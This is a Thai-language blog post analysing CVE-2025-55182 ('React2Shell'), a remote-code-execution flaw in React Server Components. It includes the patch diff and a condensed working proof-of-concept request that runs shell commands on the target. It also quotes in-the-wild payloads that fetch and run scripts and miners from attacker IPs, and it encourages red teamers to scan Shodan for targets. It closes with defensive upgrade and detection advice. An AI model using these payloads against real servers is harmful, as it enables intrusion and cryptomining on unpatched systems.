มันเกิดอะไรขึ้น?

ผมเขียนบทความนี้หลังจากที่นั่งอ่าน CVE-2025-55182 (React2Shell) วนไปมาอยู่หลายรอบ เพราะทุกครั้งที่อ่านก็เจอ layer ของความน่าสนใจที่ลึกขึ้นเรื่อย ๆ

สำหรับคนที่ยังไม่รู้เรื่องนี้:

React2Shell คือช่องโหว่ RCE (Remote Code Execution) ที่ร้ายแรงที่สุดช่องโหว่หนึ่งของ ecosystem React/Next.js เท่าที่เคยมีมา มันอยู่ที่ React Server Components (RSC) “Flight” protocol — protocol ที่ใช้ส่งข้อมูลระหว่าง server กับ client ใน framework สมัยใหม่อย่าง Next.js เวลาเราใช้ App Router

CVSS score: 10/10
เชี่ยยยยยย


Offensive Security ในแง่มุมของผม

ก่อนจะลง technical detail ขอตั้ง frame ก่อน: Offensive security สำหรับผมไม่ใช่แค่การหาช่องโหว่หรือเขียน exploit มันคือ ความเข้าใจใน mindset ของ attacker ว่าพวกเค้ามองระบบยังไง และ leverage จุดบอดที่ระบบออกแบบเผื่อไว้ยังไง

CVE-2025-55182 คือตัวอย่างที่ perfect ที่สุดของการที่ ระบบที่ออกแบบมาดีอยู่แล้ว แต่มี logical flaw เล็ก ๆ จุดเดียว ก็พังได้ทั้งระบบ


Technical Deep Dive
(สำหรับคนที่อยากเข้าใจจริง ๆ)

มันอยู่ตรงไหน?

ช่องโหว่อยู่ใน react-server-dom-webpack, react-server-dom-turbopack, และ react-server-dom-parcel — library ที่ทำหน้าที่ serialize/deserialize RSC payload ระหว่าง server กับ client

ชื่อ “Flight” protocol คือ protocol ที่ React ใช้ส่ง Server Components ที่ render บน server แล้วส่งผลลัพธ์ไปให้ client แบบ streaming

ทำไมมันถึง work?

จาก patch ที่ React ส่งออกมาใน PR #35277:

export function requireModule<T>(metadata: ClientReference<T>): T {
   const moduleExports = parcelRequire(metadata[ID]);
-  return moduleExports[metadata[NAME]];
+  if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+    return moduleExports[metadata[NAME]];
+  }
+  return (undefined: any);
}

เห็นอะไรไหม?

บรรทัดที่โดนลบ return moduleExports[metadata[NAME]] — มัน return property โดยไม่ได้ check ว่า property นั้นมีอยู่จริงไหม

ซึ่งฟังดูเหมือนมักง่ายแบบปกติแต่มันคือ server-side prototype pollution ในรูปแบบที่ผู้โจมตีสามารถควบคุม deserialization flow ได้

ผู้โจมตีส่ง crafted multipart form request ไปยัง endpoint ที่รับ RSC payload โดยใช้ __proto__ manipulation เพื่อให้ JavaScript engine เกิด prototype pollution แล้วจากนั้นก็ใช้ constructor:constructor chaining เพื่อไปถึง process.mainModule.require('child_process').execSync()

Proof of Concept (ย่อ)

POST / HTTP/1.1
Host: target
Next-Action: x
Content-Type: multipart/form-data; boundary=...

--boundary
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,
"value":"{\"then\":\"$B1337\"}","_response":{
"_prefix":"process.mainModule.require('child_process').execSync('id > /tmp/pwned');",
"_formData":{"get":"$1:constructor:constructor"}}}
--boundary
Content-Disposition: form-data; name="1"

"$@0"
--boundary--

แล้ว /tmp/pwned ก็จะมี uid=0(root) gid=0(root) groups=0(root)

ไม่ต้อง auth ไม่ต้อง config พิเศษ ไม่ต้องมี action handler ด้วยซ้ำ — request เดียว shell.

ผมอ่านตรงนี้แล้วต้องวางจอพักสายตา


ทำไมมันถึงเป็นเรื่อง!

1. มันมีคนใช้เยอะ…

Wiz บอกว่า 39% ของ cloud environments มี React/Next.js ที่ vulnerable
69% ของ environments มี Next.js
44% มี public-facing Next.js instances

ตัวเลขนี้หมายความว่า — ถ้าคุณเป็น red teamer ที่กำลังหา target อยู่ ให้ลอง search Shodan/Censys หา Next.js apps ถ้าเจอคนไม่ aware ก็โป๊ะเชะ

2. No Special Conditions Required

นี่คือสิ่งที่ทำให้ CVE-2025-55182 ถูกเทียบกับ Log4Shell (CVE-2021-44228):

    • ไม่ต้องมี authentication

    • default configuration ก็เจอ

    • PoC หลังประกาศแค่ 2 วัน

    • weaponized payloads เจอใน wild หลังประกาศแค่ 2-3 วัน

3. Supply Chain Impact

Next.js เป็น framework ที่ถูกใช้โดย:

    • Vercel (ผู้สร้าง Next.js)

    • AWS (Amplify, SST)

    • Google Cloud (Cloud Run รวม Next.js)

    • Cloudflare Pages

    • Netlify

    • และอื่น ๆ อีกมาก

หนึ่งช่องโหว่ = ส่งผลกระทบทั้ง ecosystem


สิ่งที่ Wiz, Datadog, GreyNoise และ AWS เห็นในโลกความจริง

timeline ที่น่าสนใจ:

Date (Dec 2025) Event
Dec 3, 00:00 UTC Patch ถูก commit ใน facebook/react
Dec 3, 22:00 UTC Scanning activity เริ่ม (Datadog telemetry)
Dec 4 Moritz Sanft public functional PoC
Dec 5, 04:00 UTC GreyNoise เริ่มเห็น mass scanning
Dec 5, 06:00 UTC Cryptomining campaigns เริ่ม

Payload ที่เจอในโลกจริงน่าสนใจมาก:

{
  "_prefix": "process.mainModule.require('child_process').execSync(
    'curl 45.77.33.136:8080/b.sh|sh'
  );"
}

sliver malware framework (C2)

{
  "_prefix": "var res=process.mainModule.require('child_process').execSync(
    '((curl -sL http://45.32.158.54/5e51aff54626ef7f/x86_64 -o /tmp/x86_64;
       chmod 777 /tmp/x86_64;
       /tmp/x86_64) ...'
  );..."
}

XMRig cryptominer (UPX packed)

และอีกมากมายที่พยายาม:

    • Harvest credentials จาก env / filesystem / cloud metadata

    • สร้าง reverse shell

    • ขโมย .env file

    • Post data ไปยัง C2 server

บอกได้คำเดียว: creativity ของ attacker ในเรื่องนี้มันน่ากลัวมาก


สำหรับ Red Teamer / Pentester: นี่คือโอกาส

ถ้าคุณอยู่ใน offensive security และกำลังหา Next.js targets อยู่ นี่คือสิ่งที่คุณควรรู้:

    1. มันเป็น easy win — ถ้าเจอ Next.js version < 16.0.7 (หรือ React react-server-dom < 19.2.1) คุณยิงแล้วเข้า
    2. มันเจอยาก— event อยู่ใน server-side JavaScript execution, logs อาจดูปกติถ้าไม่ได้ monitor child_process
    3. มันได้สิทธิสูง — ถ้า container/app รันเป็น root (ซึ่งบ่อยมากใน default deployment) ได้ shells เลย

สำหรับ Defender: สิ่งที่ต้องทำ

    1. Upgrade Now
      — React → 19.0.1, 19.1.2, 19.2.1+
      — Next.js → 14.x stable, 15.5.7+, 16.0.7+

    1. Audit npm
      npm audit

    1. Check SBOM สำหรับ Next.js และ react-server-dom instances

    1. Monitor child_process spawn ใน container runtime logs

    1. WAF rules — block request ที่มี __proto__:then หรือ constructor:constructor pattern


สิ่งที่ได้จาก Case นี้

กรณีที่ร้ายแรงที่สุดคือกรณีที่ attack surface เป็นของที่ใช้กันทุกคน

React ไม่ใช่ niche technology
Next.js ไม่ใช่ framework เล็ก ๆ
RSC protocol ไม่ใช่ experimental feature อีกต่อไป

มันคือ production standard ที่ใช้กันเป็น default

และนี่คือสิ่งที่ offensive security สอนผมซ้ำแล้วซ้ำเล่า — complexity จะสร้าง vulnerability เสมอ ยิ่ง system เยอะ abstraction layer เยอะ deserialization logic ซับซ้อน — โอกาสที่ บางคน จะหาให้เจอก็มีมากขึ้น


“In our experimentation, exploitation of this vulnerability had high fidelity, with a near 100% success rate.”
— Wiz Research


ปิดท้าย

CVE-2025-55182 คือ reminder ที่ดีว่า “Default is not safe” และ “Popular is not secure”

ผมคิดว่าสิ่งสำคัญที่สุดที่เรา (ทั้ง offensive และ defensive) ควร take away จาก case นี้คือ:

ความเหลวไหลที่แท้จริงไม่ใช่คนที่ใช้ tech เก่า แต่คือการคิดว่าใช้ระบบตามคนอื่น หรือคนอื่น ๆ เค้าก็ใช้กัน แล้วจะปลอดภัยต่อการถูกโจมตี

มึงใช้ Next.js อยู่ปะ?
ไปอัพเดทเถอะเดี๋ยวก็ชิน

 

Comments

ใส่ความเห็น

อีเมลของคุณจะไม่แสดงให้คนอื่นเห็น ช่องข้อมูลจำเป็นถูกทำเครื่องหมาย *